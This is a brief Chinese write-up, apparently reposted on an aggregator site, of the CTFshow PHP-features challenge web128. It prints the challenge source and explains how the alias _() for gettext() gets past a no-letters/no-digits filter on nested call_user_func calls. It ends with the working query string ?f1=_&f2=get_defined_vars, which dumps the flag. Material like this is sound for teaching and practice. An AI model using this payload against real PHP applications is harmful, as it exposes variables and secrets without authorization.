目錄

• 源碼
• 思路
• 題解
• 總結

---

源碼

<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-10 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-12 19:49:05*/error_reporting(0); include("flag.php"); highlight_file(__FILE__);$f1 = $_GET['f1']; $f2 = $_GET['f2'];if(check($f1)){var_dump(call_user_func(call_user_func($f1,$f2))); }else{echo "嗯哼？"; }function check($str){return !preg_match('/[0-9]|[a-z]/i', $str); } NULL

---

思路

沒想到 _() 是 gettext()的別名,gettext()是一個拓展,可以直接輸出文本

gettext(“phpinfo”)
輸出 phpinfo,phpinfo是無參方法可以直接用call_user_func調用

同理 我們可以用get_defined_var()

題解

?f1=_&f2=get_defined_vars

---

總結

又被騷到

總結

以上是生活随笔為你收集整理的CTFshow php特性 web128的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。